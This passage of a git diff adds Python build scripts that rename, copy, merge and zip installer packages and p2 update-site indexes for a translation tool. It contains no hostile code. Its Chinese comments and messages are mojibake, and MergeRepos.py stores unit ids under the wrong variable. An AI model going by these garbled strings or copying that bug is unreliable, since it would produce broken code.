+ print('在文件 {} 中找到:\n{}'.format(path.replace(TMP_PATH, ''), line)) + resultCount += 1 + if found: + fileCount += 1 + print('查找结æŸã€‚共查找了 {} 个资æºæ–‡ä»¶ï¼Œåœ¨å…¶ä¸­çš„ {} 个文件中找到 {} 个结果。'.format(findCount, fileCount, resultCount)) + + +def main(): + if len(sys.argv) > 1: + jarPathes = getJarPathes(FIND_PATHES) + tmpPathes = unzipJars(jarPathes) + strToFind = ascii(' '.join(sys.argv[1:])).replace("'", '') + findString(tmpPathes, strToFind) + else: + print("请输入è¦æŸ¥æ‰¾çš„关键字(支æŒä¸­æ–‡ï¼‰å¹¶ç”¨å•/åŒå¼•å·åŒ…围,举例:\n>>> {} 'å¿«æ·é”®'".format(os.path.basename(sys.argv[0]))) + + +if __name__ == '__main__': + main() diff --git a/tools/pyscripts/GeneratePackages.py b/tools/pyscripts/GeneratePackages.py new file mode 100644 index 0000000..feb340e --- /dev/null +++ b/tools/pyscripts/GeneratePackages.py @@ -0,0 +1,353 @@ +#!/usr/bin/env python3 + +''' +功能: +1ã€ä»¥å·²æ··æ·†çš„ UE 版更新站点为基础,将已混淆的 JAR 包å¤åˆ¶åˆ°æ¯ä¸ªæœªæ··æ·†çš„安装包中覆盖åŒå文件以达到混淆的效果; +2ã€å°†å¤„ç†å¥½çš„文件夹改åï¼› +3ã€å°†æ”¹ååŽçš„文件夹压缩为 ZIP æ ¼å¼ã€‚ +目录结构示例è§æœ€åŽé¢ã€‚ +''' + +import os +import sys +import shutil +import logging + +import hsconfig + +# -CHANGEME- 请根æ®å®žé™…打包路径修改 +BASE_PATH = hsconfig.build_path +# -CHANGEME- 请根æ®å®žé™…打包日期修改(文件夹å称中的日期å‰ç¼€ï¼‰ +DIR_PREFIX = hsconfig.build_prefix +# -CHANGEME- 请根æ®å®žé™…打包的版本å·ä¿®æ”¹ï¼Œç”¨æ¥é‡å‘½å安装包文件夹 +VERSION = hsconfig.build_version +# 以下内容如无特殊情况无需修改(其中的 Uã€Fã€Pã€L 为文件夹å称中的版本åŽç¼€ï¼ŒUEã€PROã€PEã€LITE 则用æ¥é‡å‘½å安装包文件夹) +EDITIONS = {} +# 产å“å称å‰ç¼€ï¼Œç”¨æ¥é‡å‘½å安装包文件夹 +PKG_PREFIX = 'HSTMXEditor' +# 更新站点目录å,使用默认的打包å称 +SOURCE_DIR_NAME = 'repository' +# key 为用æ¥é‡å‘½å安装包文件夹的平å°æ ‡è¯†ã€value 为默认的打包目录å +BUILD_TYPES = { + 'Win_x86': 'win32.win32.x86', + 'Win_x64': 'win32.win32.x86_64', + 'Mac_x86': 'macosx.cocoa.x86', + 'Mac_x64': 'macosx.cocoa.x86_64', + 'Linux_x86': 'linux.gtk.x86', + 'Linux_x64': 'linux.gtk.x86_64'} +# 需è¦é¢å¤–生æˆçš„安装包,与å‰è€…类似,key 为新的安装å标识ã€value 为è¦å¤åˆ¶çš„æºå®‰è£…包标识 +EXTRA_BUILDS = { + 'Win_x86_JRE': 'Win_x86', + 'Win_x64_JRE': 'Win_x64'} +# é¢å¤–需è¦å¤åˆ¶çš„文件,key 为需è¦åº”用到的安装包类型ã€value 为è¦å¤åˆ¶çš„文件路径åŠç›®æ ‡åœ¨å®‰è£…包中的相对路径 +EXTRA_FILES = hsconfig.build_copy_files +# ä¸éœ€è¦çš„文件,如 Mac OS 下的 .DS_Storeã€Windows 下的 Thumb.db ç­‰ +FILES_TO_DELETE = ['.DS_Store', ] + + +def getRepoPath(): + '''按指定的规则生æˆæ›´æ–°ç«™ç‚¹çš„ plugins å­ç›®å½•è·¯å¾„,并在断言其存在åŽè¿”回''' + path = os.path.join(BASE_PATH, DIR_PREFIX, SOURCE_DIR_NAME, 'plugins') # DIR_PREFIX + 'U' å–决于目录结构 + if not os.path.isdir(path): + raise Exception('目录 {} ä¸å­˜åœ¨ï¼Œè¯·æ‰“开上述文件夹确认ï¼'.format(path)) + return path + + +def getBuildPathes(): + '''按指定的规则生æˆå®‰è£…包的 plugins å­ç›®å½•è·¯å¾„,并在断言其存在åŽè¿”回''' + buildPathes = [] + if EDITIONS: + for dirSuffix in EDITIONS.keys(): + dirName = DIR_PREFIX + dirSuffix # å–决于目录结构 + for build in BUILD_TYPES.values(): + path = os.path.join(BASE_PATH, dirName, build, 'plugins') + if not os.path.isdir(path): + raise Exception('目录 {} ä¸å­˜åœ¨ï¼Œè¯·æ‰“开上述文件夹确认ï¼\n(打包时需è¦åˆ é™¤ Root directory åŽé¢çš„ eclipse。)'.format(path)) + buildPathes.append(path) + else: + dirName = DIR_PREFIX + for build in BUILD_TYPES.values(): + path = os.path.join(BASE_PATH, dirName, build, 'plugins') + if not os.path.isdir(path): + raise Exception('目录 {} ä¸å­˜åœ¨ï¼Œè¯·æ‰“开上述文件夹确认ï¼\n(打包时需è¦åˆ é™¤ Root directory åŽé¢çš„ eclipse。)'.format(path)) + buildPathes.append(path) + return buildPathes + + +def cpJars(repoPath, buildPathes): + '''从指定的更新站点中å¤åˆ¶ JAR 包到安装包目录''' + for buildPath in buildPathes: + print('正在å¤åˆ¶æ··æ·†åŒ… {}...'.format(buildPath.replace(BASE_PATH, ''))) + for name in os.listdir(buildPath): + if name.startswith('net.heartsome') and name.endswith('.jar'): + buildJarPath = os.path.join(buildPath, name) + repoJarPath = os.path.join(repoPath, name) + buildJarSize = os.path.getsize(buildJarPath) + repoJarSize = os.path.getsize(repoJarPath) + if buildJarSize != repoJarSize: + logging.info('正在覆盖 {}'.format(buildJarPath.replace(BASE_PATH, ''))) + shutil.copyfile(repoJarPath, buildJarPath) + + +def renameDirs(): + '''将安装包目录åé‡å‘½å为 HSStudio_8_0_0_Beta_Mac_x64 çš„å½¢å¼''' + if EDITIONS: + for dirSuffix, editionType in EDITIONS.items(): + dirName = DIR_PREFIX + dirSuffix # å–决于目录结构 + for buildName, buildDir in BUILD_TYPES.items(): + oldPath = os.path.join(BASE_PATH, dirName, buildDir) + newBuildDir = '_'.join([PKG_PREFIX, editionType, VERSION, buildName]) + newPath = os.path.join(BASE_PATH, dirName, newBuildDir) + print('正在é‡å‘½å {}...'.format(newPath.replace(BASE_PATH, ''))) + logging.info('å°† {} é‡å‘½å为 {}'.format(oldPath.replace(BASE_PATH, ''), newPath.replace(BASE_PATH, ''))) + shutil.move(oldPath, newPath) + else: + dirName = DIR_PREFIX + for buildName, buildDir in BUILD_TYPES.items(): + oldPath = os.path.join(BASE_PATH, dirName, buildDir) + newBuildDir = '_'.join([PKG_PREFIX, VERSION, buildName]) + newPath = os.path.join(BASE_PATH, dirName, newBuildDir) + print('正在é‡å‘½å {}...'.format(newPath.replace(BASE_PATH, ''))) + logging.info('å°† {} é‡å‘½å为 {}'.format(oldPath.replace(BASE_PATH, ''), newPath.replace(BASE_PATH, ''))) + shutil.move(oldPath, newPath) + + +def cpExtraBuilds(): + '''æ ¹æ® EXTRA_BUILDS 生æˆæ–°çš„安装包''' + if EXTRA_BUILDS: + print('开始生æˆé¢å¤–的安装包...') + if EDITIONS: + for dirSuffix in EDITIONS.keys(): + dirName = DIR_PREFIX + dirSuffix # å–决于目录结构 + dirPath = os.path.join(BASE_PATH, dirName) # 这是安装包所在的父目录路径 + for name in os.listdir(dirPath): + for newBuild, oldBuild in EXTRA_BUILDS.items(): + if name.endswith(oldBuild): # æ ¹æ®å®‰è£…包目录å称åŽç¼€åˆ¤æ–­æ˜¯å¦éœ€è¦å¤åˆ¶ + path = os.path.join(dirPath, name) # æºå®‰è£…包路径 + if os.path.isdir(path): + newName = name.replace(oldBuild, newBuild) + newPath = os.path.join(dirPath, newName) # 新安装包路径 + print('å°† {} å¤åˆ¶ä¸º {}...'.format(name, newName)) + logging.info('å°† {} å¤åˆ¶ä¸º {}...'.format(name, newName)) + shutil.copytree(path, newPath) + else: + dirName = DIR_PREFIX + dirPath = os.path.join(BASE_PATH, dirName) # 这是安装包所在的父目录路径 + for name in os.listdir(dirPath): + for newBuild, oldBuild in EXTRA_BUILDS.items(): + if name.endswith(oldBuild): # æ ¹æ®å®‰è£…包目录å称åŽç¼€åˆ¤æ–­æ˜¯å¦éœ€è¦å¤åˆ¶ + path = os.path.join(dirPath, name) # æºå®‰è£…包路径 + if os.path.isdir(path): + newName = name.replace(oldBuild, newBuild) + newPath = os.path.join(dirPath, newName) # 新安装包路径 + print('å°† {} å¤åˆ¶ä¸º {}...'.format(name, newName)) + logging.info('å°† {} å¤åˆ¶ä¸º {}...'.format(name, newName)) + shutil.copytree(path, newPath) + else: + print('æ— é¢å¤–的安装包需è¦ç”Ÿæˆã€‚') + + +def cpExtraFiles(): + '''æ ¹æ® EXTRA_FILES å¤åˆ¶æ–‡ä»¶ï¼ˆå¦‚用户使用许å¯åè®®ã€å¸®åŠ©æ–‡æ¡£ PDF)到指定的安装包中''' + if EXTRA_FILES: + print('开始为安装包å¤åˆ¶é¢å¤–的文件...') + if EDITIONS: + for dirSuffix in EDITIONS.keys(): + dirName = DIR_PREFIX + dirSuffix # å–决于目录结构 + dirPath = os.path.join(BASE_PATH, dirName) # 这是安装包所在的父目录路径 + for name in os.listdir(dirPath): + if name.startswith(PKG_PREFIX): + for targetBuild, pathes in EXTRA_FILES.items(): + if targetBuild == 'all' or name.endswith(targetBuild): # æ ¹æ®å®‰è£…包å称判断是å¦éœ€è¦å¤„ç† + print('为安装包 {} å¤åˆ¶é¢å¤–文件...'.format(name)) + logging.info('处ç†å®‰è£…包 {} å¤åˆ¶é¢å¤–文件...'.format(name)) + path = os.path.join(dirPath, name) # 安装包路径 + + if pathes[-1] == '.': # 确定目标路径 + tgtPath = path + else: + tgtPath = os.path.join(path, pathes[-1]) + + for source in pathes[:-1]: # 确定æºè·¯å¾„ + for srcName in os.listdir(source): + if not srcName.startswith('.'): + srcPath = os.path.join(source, srcName) + if os.path.isfile(srcPath): + logging.info('å¤åˆ¶æ–‡ä»¶ {} 到 {}...'.format(srcPath, tgtPath)) + shutil.copy(srcPath, tgtPath) + elif os.path.isdir(srcPath): + tgtDir = os.path.split(srcPath)[-1] + tgtPath = os.path.join(tgtPath, tgtDir) + logging.info('å¤åˆ¶æ–‡ä»¶å¤¹ {} 到 {}...'.format(srcPath, tgtPath)) + shutil.copytree(srcPath, tgtPath) + else: + dirName = DIR_PREFIX + dirPath = os.path.join(BASE_PATH, dirName) # 这是安装包所在的父目录路径 + for name in os.listdir(dirPath): + if name.startswith(PKG_PREFIX): + for targetBuild, pathes in EXTRA_FILES.items(): + if targetBuild == 'all' or name.endswith(targetBuild): # æ ¹æ®å®‰è£…包å称判断是å¦éœ€è¦å¤„ç† + print('为安装包 {} å¤åˆ¶é¢å¤–文件...'.format(name)) + logging.info('处ç†å®‰è£…包 {} å¤åˆ¶é¢å¤–文件...'.format(name)) + path = os.path.join(dirPath, name) # 安装包路径 + + if pathes[-1] == '.': # 确定目标路径 + tgtPath = path + else: + tgtPath = os.path.join(path, pathes[-1]) + + for source in pathes[:-1]: # 确定æºè·¯å¾„ + for srcName in os.listdir(source): + if not srcName.startswith('.'): + srcPath = os.path.join(source, srcName) + if os.path.isfile(srcPath): + logging.info('å¤åˆ¶æ–‡ä»¶ {} 到 {}...'.format(srcPath, tgtPath)) + shutil.copy(srcPath, tgtPath) + elif os.path.isdir(srcPath): + tgtDir = os.path.split(srcPath)[-1] + tgtPath = os.path.join(tgtPath, tgtDir) + logging.info('å¤åˆ¶æ–‡ä»¶å¤¹ {} 到 {}...'.format(srcPath, tgtPath)) + shutil.copytree(srcPath, tgtPath) + + else: + print('æ— é¢å¤–的文件需è¦å¤åˆ¶ã€‚') + + +def delFiles(): + '''删除指定的文件,如 Mac OS 自动生æˆçš„ .DS_Store''' + if FILES_TO_DELETE: + print('开始删除ä¸éœ€è¦çš„文件:{}'.format('ã€'.join(FILES_TO_DELETE))) + if EDITIONS: + for dirSuffix in EDITIONS.keys(): + dirName = DIR_PREFIX + dirSuffix # å–决于目录结构 + dirPath = os.path.join(BASE_PATH, dirName) # 这是安装包所在的父目录路径 + for root, dirs, files in os.walk(dirPath): + for name in files: + if name in FILES_TO_DELETE: + path = os.path.join(root, name) + logging.info('删除文件 {}...'.format(path)) + os.remove(path) + else: + dirName = DIR_PREFIX + dirPath = os.path.join(BASE_PATH, dirName) # 这是安装包所在的父目录路径 + for root, dirs, files in os.walk(dirPath): + for name in files: + if name in FILES_TO_DELETE: + path = os.path.join(root, name) + logging.info('删除文件 {}...'.format(path)) + os.remove(path) + else: + print('æ— é¢å¤–的文件需è¦åˆ é™¤ã€‚') + + +def zipDirs(): + '''将安装包目录压缩为 ZIP 包''' + if EDITIONS: + for dirSuffix in EDITIONS.keys(): + dirName = DIR_PREFIX + dirSuffix # å–决于目录结构 + path = os.path.join(BASE_PATH, dirName) + os.chdir(path) + for name in os.listdir(path): + if name.startswith(PKG_PREFIX): + fullPath = os.path.join(path, name) + print('正在压缩 {}...'.format(fullPath.replace(BASE_PATH, ''))) + logging.info('压缩 {}'.format(fullPath.replace(BASE_PATH, ''))) + shutil.make_archive(name, 'zip', path, name) + try: + shutil.rmtree(fullPath) + except Exception as e: + logging.info('删除文件夹 {} 时出错:\n{}'.format(fullPath, e)) + print('删除文件夹 {} 时出错,请手动删除。'.format(fullPath)) + else: + dirName = DIR_PREFIX + path = os.path.join(BASE_PATH, dirName) + os.chdir(path) + for name in os.listdir(path): + if name.startswith(PKG_PREFIX): + fullPath = os.path.join(path, name) + print('正在压缩 {}...'.format(fullPath.replace(BASE_PATH, ''))) + logging.info('压缩 {}'.format(fullPath.replace(BASE_PATH, ''))) + shutil.make_archive(name, 'zip', path, name) + try: + shutil.rmtree(fullPath) + except Exception as e: + logging.info('删除文件夹 {} 时出错:\n{}'.format(fullPath, e)) + print('删除文件夹 {} 时出错,请手动删除。'.format(fullPath)) + + +def main(): + script_path, script_name = os.path.split(os.path.realpath(sys.argv[0])) + logging.basicConfig( + filename='{}.log'.format(os.path.splitext(script_name)[0]), + format='%(asctime)s %(message)s', + level=logging.INFO) + print('å¼€å§‹å¤„ç† {} 中的安装包...'.format(BASE_PATH)) + logging.info('å¼€å§‹å¤„ç† {} 中的安装包...'.format(BASE_PATH)) + + #cpJars(getRepoPath(), getBuildPathes()) + renameDirs() + cpExtraBuilds() + cpExtraFiles() + delFiles() + zipDirs() + + print('处ç†å®Œæˆï¼Œæœ¬æ¬¡å¤„ç†çš„日志已ä¿å­˜åœ¨ {}.log 文件中。'.format( + os.path.join(script_path, os.path.splitext(script_name)[0]))) + logging.info('处ç†å®Œæˆ\n') + +if __name__ == '__main__': + main() + +''' +ç›®å‰çš„目录结构: + <基础目录> + |-1224U + | |-repository(已混淆) + | |-win32.win32.x86 + | |-win32.win32.x86_64 + | |-macosx.cocoa.x86_64 + | |-linux.gtk.x86 + | |-linux.gtk.x86_64 + | + |-1224F + | |-repository + | |-win32.win32.x86 + | |-... + | + |-1224P... + | |-repository + | |-win32.win32.x86 + | |-... + | + |-1224L... + | |-repository + | |-win32.win32.x86 + | |-... + +处ç†åŽçš„目录结构: + <基础目录> + |-1224U + | |-repository(用 MergeRepos.py åˆå¹¶å…¶ä»–三个版本的更新站点文件) + | |-HSStudio_UE_8_1_0_Win_x86.zip + | |-HSStudio_UE_8_1_0_Win_x86_JRE.zip + | |-HSStudio_UE_8_1_0_Win_x64.zip + | |-HSStudio_UE_8_1_0_Win_x64_JRE.zip + | |-HSStudio_UE_8_1_0_Mac_x64.zip + | |-HSStudio_UE_8_1_0_Linux_x86.zip + | |-HSStudio_UE_8_1_0_Linux_x64.zip + | + |-1224F + | |-repository + | |-HSStudio_PRO_8_1_0_Win_x86.zip + | |-... + | + |-1224P + | |-repository + | |-HSStudio_PE_8_1_0_Win_x86.zip + | |-... + | + |-1224L + | |-repository + | |-HSStudio_LITE_8_1_0_Win_x86.zip + | |-... +''' diff --git a/tools/pyscripts/MergeRepos.py b/tools/pyscripts/MergeRepos.py new file mode 100644 index 0000000..8ae200b --- /dev/null +++ b/tools/pyscripts/MergeRepos.py @@ -0,0 +1,237 @@ +#!/usr/bin/env python3 + +''' +功能: +将几个更新站点的文件åˆå¹¶ä¸ºä¸€ä¸ªï¼š +1ã€åˆå¹¶ binaryã€featuresã€plugins 目录中的文件,忽略åŒå文件; +2ã€åˆå¹¶ artifacts.jarã€content.jar 文件中的相应索引信æ¯ã€‚ +''' + +import os +import sys +import shutil +import logging +from zipfile import ZipFile, ZIP_DEFLATED +import xml.etree.ElementTree as etree + +import hsconfig + + +BASE_PATH = hsconfig.build_path +DATE = hsconfig.build_prefix +SOURCE = ('F', 'P', 'L') +TARGET = 'U' +REPO = 'repository' +#TAG_ARTIFACTS = 'artifact' +#TAG_CONTENT = 'unit' +XP_ARTIFACT = './artifacts/artifact' +XP_CONTENT = './units/unit' +AFJ = 'artifacts.jar' +AFX = 'artifacts.xml' +CTJ = 'content.jar' +CTX = 'content.xml' + + +def cutBase(path): + '''将基础目录去掉,主è¦ç”¨åœ¨æ—¥å¿—或å±å¹•è¾“出信æ¯ä¸­ï¼Œå‡å°‘冗余ã€æ高å¯è¯»æ€§''' + return path.replace(BASE_PATH, '') + + +def getSourcePathes(): + '''生æˆè¦å¤„ç†çš„æ¥æºæ›´æ–°ç«™ç‚¹è·¯å¾„,并断言其存在,最åŽä»¥ list 返回''' + sourcePathes = [] + for src in SOURCE: + dirName = DATE + src # # å–决于目录结构 + path = os.path.join(BASE_PATH, dirName, REPO) + if not os.path.isdir(path): + raise Exception('目录 {} ä¸å­˜åœ¨ï¼Œè¯·æ‰“开上述文件夹确认ï¼'.format(path)) + print('å¾…åˆå¹¶çš„更新站点:{}'.format(cutBase(path))) + logging.info('å¾…åˆå¹¶çš„更新站点:{}'.format(cutBase(path))) + sourcePathes.append(path) + return sourcePathes + + +def getTargetPath(): + '''生æˆç›®æ ‡(也就是旗舰版)更新站点路径,并断言其存在''' + path = os.path.join(BASE_PATH, DATE + TARGET, REPO) # # å–决于目录结构 + if not os.path.isdir(path): + raise Exception('目录 {} ä¸å­˜åœ¨ï¼Œè¯·æ‰“开上述文件夹确认ï¼'.format(path)) + print('将更新站点åˆå¹¶åˆ°ï¼š{}'.format(cutBase(path))) + logging.info('将更新站点åˆå¹¶åˆ°ï¼š{}'.format(cutBase(path))) + return path + + +def backupRepo(path, filename): + '''备份è¦è¢«ä¿®æ”¹çš„文件''' + srcPath = os.path.join(path, filename) + bakPath = os.path.join(path, filename + '.bak') + print('å°† {} 备份到 {}'.format(cutBase(srcPath), cutBase(bakPath))) + logging.info('å°† {} 备份到 {}'.format(cutBase(srcPath), cutBase(bakPath))) + shutil.copy(srcPath, bakPath) + + +def mergeFiles(sourcePathes, targetPath): + '''åˆå¹¶æ–‡ä»¶ï¼Œå°†æ¥æºè·¯å¾„中有ã€è€Œç›®æ ‡è·¯å¾„没有的文件å¤åˆ¶åˆ°ç›®æ ‡è·¯å¾„''' + count = 0 + for srcRepo in sourcePathes: + for root, dirs, files in os.walk(srcRepo): + for name in files: + path = os.path.join(root, name) + tgtPath = path.replace(srcRepo, targetPath) + if not os.path.exists(tgtPath): + print('å¤åˆ¶æ–‡ä»¶ {}'.format(cutBase(path), cutBase(tgtPath))) + logging.info('å¤åˆ¶æ–‡ä»¶ {}'.format(cutBase(path), cutBase(tgtPath))) + shutil.copyfile(path, tgtPath) + count += 1 + if count: + print('å…±å¤åˆ¶äº† {} 个文件。'.format(count)) + logging.info('å…±å¤åˆ¶äº† {} 个文件。'.format(count)) + else: + print('所有文件å‡å·²å­˜åœ¨ï¼Œæ— éœ€å¤åˆ¶ã€‚') + logging.info('所有文件å‡å·²å­˜åœ¨ï¼Œæ— éœ€å¤åˆ¶ã€‚') + + +# def unzipJar(jarPath): +# '''解压 JAR 文件''' +# names = os.path.split(jarPath) +# os.chdir(names[0]) +# jf = ZipFile(names[1]) +# jf.extractall() + + +def zipAsJar(path, names, jar): + '''将指定路径下的文件以 ZIP æ ¼å¼åŽ‹ç¼©ä¸ºæŒ‡å®šçš„ JAR 包''' + os.chdir(path) + jarPath = os.path.join(path, jar) + if os.path.exists(jarPath): + os.remove(jarPath) + jf = ZipFile(jar, 'w', compression=ZIP_DEFLATED) + for name in names: + jf.write(name) + jf.close() + + +#def getTargetInfos(dom, infoType): +# '''minidom ç‰ˆæœ¬ï¼šè¯»å– artifacts.xml 或 content.xml 文件中的 artifact/unit 节点 id åŠ version,以字典返回。 +# 其中 infoType åº”ä¸ºå¸¸é‡ ARTIFACTS 或 CONTENT''' +# assert(infoType in (TAG_ARTIFACTS, TAG_CONTENT)) +# results = {} +# for result in dom.getElementsByTagName(infoType): +# results[result.getAttribute('id')] = result.getAttribute('version') +# return results + + +def getTargetInfos(root, infoType): + '''etree ç‰ˆæœ¬ï¼šè¯»å– artifacts.xml 或 content.xml 文件中的 artifact/unit 节点 id åŠ version,以字典返回。 + 其中 infoType åº”ä¸ºå¸¸é‡ XP_ARTIFACT 或 XP_CONTENT''' + if infoType not in (XP_ARTIFACT, XP_CONTENT): + raise Exception('å‚æ•° {} é”™è¯¯ï¼Œåº”ä¸ºå¸¸é‡ XP_ARTIFACT 或 XP_CONTENT。'.format(infoType)) + results = {} + for result in root.findall(infoType): + results[result.attrib['id']] = result.attrib['version'] + return results + + +def mergeJarIndexes(sourcePathes, targetPath): + '''åˆå¹¶æ›´æ–°ç«™ç‚¹æ ¹ç›®å½•ä¸‹ä¸¤ä¸ª JAR 包中的 XML 索引信æ¯''' + os.chdir(targetPath) + + print('正在解压 {} ...'.format(AFJ)) + logging.info('解压 {}...'.format(AFJ)) + ZipFile(AFJ).extractall() + print('正在解压 {} ...'.format(CTJ)) + logging.info('解压 {}...'.format(CTJ)) + ZipFile(CTJ).extractall() + + tgtAFTree = etree.parse(AFX) + targetArtifacts = getTargetInfos(tgtAFTree, XP_ARTIFACT) + tgtAFElmt = tgtAFTree.find('./artifacts') + + tgtCTTree = etree.parse(CTX) + targetUnits = getTargetInfos(tgtCTTree, XP_CONTENT) + tgtCTElmt = tgtCTTree.find('./units') + + # é历æ¥æºæ›´æ–°ç«™ç‚¹ + for srcPath in sourcePathes: + print('å¤„ç† {} ...'.format(cutBase(srcPath))) + logging.info('å¤„ç† {} ...'.format(cutBase(srcPath))) + os.chdir(srcPath) + + # 解压 JAR å¹¶è§£æž XML 文件 + ZipFile(AFJ).extractall() + afxTree = etree.parse(AFX) + count = 0 + for artifact in afxTree.findall(XP_ARTIFACT): + aid = artifact.attrib['id'] + if aid not in targetArtifacts: + print('添加 artifact:{}'.format(aid)) + logging.info('添加 artifact:{}'.format(aid)) + # 在 XML DOM 树上添加 + tgtAFElmt.append(artifact) + # 在缓存中添加 + targetArtifacts[aid] = artifact.attrib['version'] + count += 1 + if count: + print('添加了 {} 个 artifact 节点'.format(count)) + logging.info('添加了 {} 个 artifact 节点'.format(count)) + else: + print('artifact 无事å¯åš') + logging.info('artifact 无事å¯åš') + os.remove(AFX) + + # å¦ä¸€ä¸ªç´¢å¼•æ–‡ä»¶çš„处ç†åŒä¸Š + ZipFile(CTJ).extractall() + ctxTree = etree.parse(CTX) + count = 0 + for unit in ctxTree.findall(XP_CONTENT): + uid = unit.attrib['id'] + if uid not in targetUnits: + print('添加 unit:{}'.format(uid)) + logging.info('添加 unit:{}'.format(uid)) + tgtCTElmt.append(unit) + targetUnits[aid] = unit.attrib['version'] + count += 1 + if count: + print('添加了 {} 个 unit 节点'.format(count)) + logging.info('添加了 {} 个 unit 节点'.format(count)) + else: + print('unit 无事å¯åš') + logging.info('unit 无事å¯åš') + os.remove(CTX) + + os.chdir(targetPath) + print('写入 {} 文件内容...'.format(os.path.join(cutBase(targetPath), AFX))) + logging.info('写入 {} 文件内容...'.format(os.path.join(cutBase(targetPath), AFX))) + tgtAFElmt.attrib['size'] = str(len(tgtAFTree.findall(XP_ARTIFACT))) + tgtAFTree.write(AFX, encoding='utf-8') + print('写入 {} 文件内容...'.format(os.path.join(cutBase(targetPath), CTX))) + logging.info('写入 {} 文件内容...'.format(os.path.join(cutBase(targetPath), CTX))) + tgtCTElmt.attrib['size'] = str(len(tgtCTTree.findall(XP_CONTENT))) + tgtCTTree.write(CTX, encoding='utf-8') + + # 压缩为 JAR 并删除 XML + zipAsJar(targetPath, [AFX, ], AFJ) + os.remove(AFX) + zipAsJar(targetPath, [CTX, ], CTJ) + os.remove(CTX) + + +def main(): + script_path, script_name = os.path.split(os.path.realpath(sys.argv[0])) + logging.basicConfig( + filename='{}.log'.format(os.path.splitext(script_name)[0]), + format='%(asctime)s %(message)s', + level=logging.INFO) + srcPathes = getSourcePathes() + tgtPath = getTargetPath() +# backupRepo(tgtPath, AFJ) +# backupRepo(tgtPath, CTJ) + mergeFiles(srcPathes, tgtPath) + mergeJarIndexes(srcPathes, tgtPath) + print('处ç†å®Œæˆï¼Œæœ¬æ¬¡å¤„ç†çš„日志已ä¿å­˜åœ¨ {}.log 文件中。'.format( + os.path.join(script_path, os.path.splitext(script_name)[0]))) + logging.info('处ç†å®Œæˆ\n') + + +if __name__ == '__main__': + main() diff --git a/tools/pyscripts/hsconfig.py b/tools/pyscripts/hsconfig.py new file mode 100644 index 0000000..0551358 --- /dev/null +++ b/tools/pyscripts/hsconfig.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +''' +所有 Python 脚本共用的é…ç½® +''' + +import getpass + + +# Eclipse 的工作空间路径 +# 用于如下脚本: +# CheckProperties.py +# CheckVersions.py +workspace_pathes = { + 'felix_lu': '/Volumes/iMac-User/Documents/eclipse_ws/r8space_git', + 'kevin': 'D:\\development\\workspace_git', + 'Mac': '/Workspaces/tePackForIndigo', + } + +# 需检查的对象 +# å¯ç”¨çš„检查对象值:'PLUGIN', 'FEATURE', 'PRODUCT' +# 用于如下脚本: +# CheckVersions.py +check_types = ('PLUGIN', 'FEATURE', 'PRODUCT') + +# æ¯ä¸ªæ£€æŸ¥å¯¹è±¡æ‰€å¯¹åº”的更新类型 +# å¯ç”¨çš„更新类型值:'MAJOR', 'MINOR', 'SERVICE', 'BUILD',ä¾æ¬¡å¯¹åº”版本å·ä¸­çš„ x.y.z.date 四个值 +# 用于如下脚本: +# CheckVersions.py +update_types = { + 'PLUGIN': 'BUILD', + 'FEATURE': 'BUILD', + 'PRODUCT': 'BUILD' + } + +# Git 代ç ä»“库的路径 +# ï¼ï¼ï¼æ³¨æ„:仓库路径ä¸èƒ½æœ‰é™¤ 大å°å†™å­—æ¯ æ•°å­— / . - _ \ 之外的特殊字符(例如中文ã€ç©ºæ ¼ï¼‰ï¼Œå¦åˆ™ä¼šå¯¼è‡´æ— æ³•æ­£ç¡®è§£æžé¡¹ç›®è·¯å¾„ã€è€Œä¸èƒ½æ­£å¸¸æ›´æ–°ç‰ˆæœ¬å· +# 用于如下脚本: +# CheckProperties.py +# CheckVersions.py +git_repo_pathes = { + 'felix_lu': '/Volumes/iMac-User/Projects/hsgit/translation-studio', + 'kevin': 'D:\\development\\git\\translation-studio', + 'Mac': '/Users/Mac/r8PackGit/tePack/translation-studio', + } + +# 上一个对外å‘布版本的 Git 版本标签 +# 用于如下脚本: +# CheckProperties.py +# CheckVersions.py +git_last_version_tag = '5e842b8' + +# è¦æ‰“包的 Git 代ç åˆ†æ”¯ +# 用于如下脚本: +# CheckProperties.py +# CheckVersions.py +git_branch = 'te-free' + + +# 打包的输出路径 +# 用于如下脚本: +# GeneratePackages.py +# MergeRepos.py +build_pathes = { + 'felix_lu': '/Users/felix_lu/Desktop/r8builds', + 'kevin': 'D:\\HS_Product', + 'Mac': '/Users/Mac/Desktop/te_pack' + } + +# 打包的版本父目录å‰ç¼€ï¼ŒæŽ¨è用 4 ä½æ•°æ—¥æœŸ +# 用于如下脚本: +# GeneratePackages.py +# MergeRepos.py +build_prefix = '' + +# 对外å‘布的版本å·ï¼Œç”¨æ¥é‡å‘½å目录和安装包 +# 用于如下脚本: +# GeneratePackages.py +build_version = '8_0_1' + +# è¦å¤åˆ¶åˆ°å®‰è£…包中的é¢å¤–文件 +# ï¼ï¼ï¼æ³¨æ„--->>>冒å·å‰çš„ key ä¸èƒ½é‡å¤<<<---注æ„ï¼ï¼ï¼ +# 用于如下脚本: +# GeneratePackages.py +build_copy_pathes = { + 'felix_lu': { + 'all': ('/Volumes/iMac-User/Projects/HSStudio_R8/Translation Studio/Build/build_files', '.'), + 'Win_x86_JRE': ('/Volumes/iMac-User/Projects/HSStudio_R8/Translation Studio/Build/jre6u37_x86', '.'), + 'Win_x64_JRE': ('/Volumes/iMac-User/Projects/HSStudio_R8/Translation Studio/Build/jre6u37_x64', '.') + }, + 'kevin': { + 'all': ('D:\\HS_Product\\build_files\\documents', '.'), + 'Win_x86_JRE': ('D:\\HS_Product\\build_files\\jre6u37_x86', '.'), + 'Win_x64_JRE': ('D:\\HS_Product\\build_files\\jre6u37_x64', '.') + }, + 'Mac': { + 'all': ('/Document/pack_resources/build_files_te/documents', '.'), + 'Win_x86_JRE': ('/Document/pack_resources/build_files_te/jre6u37_x86', '.'), + 'Win_x64_JRE': ('/Document/pack_resources/build_files_te/jre6u37_x64', '.') + }, + } + +# 目标平å°è·¯å¾„ +# 用于如下脚本: +# FindJarResource.py +target_platform_pathes = { + 'felix_lu': ( + '/Volumes/iMac-User/Documents/eclipse_ws/targetPlatforms/targetPlatformBabel', + ), + 'Mac':('/Document/pack_resources/targetPlatform'), + } + +# 临时文件夹路径 +# 用于如下脚本: +# FindJarResource.py +temp_pathes = { + 'felix_lu': '/Users/felix_lu/tmp/findJarResource', + 'Mac': '/Document/pack_resources/temp/findJarResource' + } + +# æ ¹æ®å½“å‰ç³»ç»Ÿç”¨æˆ·åå–对应的路径 +username = getpass.getuser() +workspace_path = 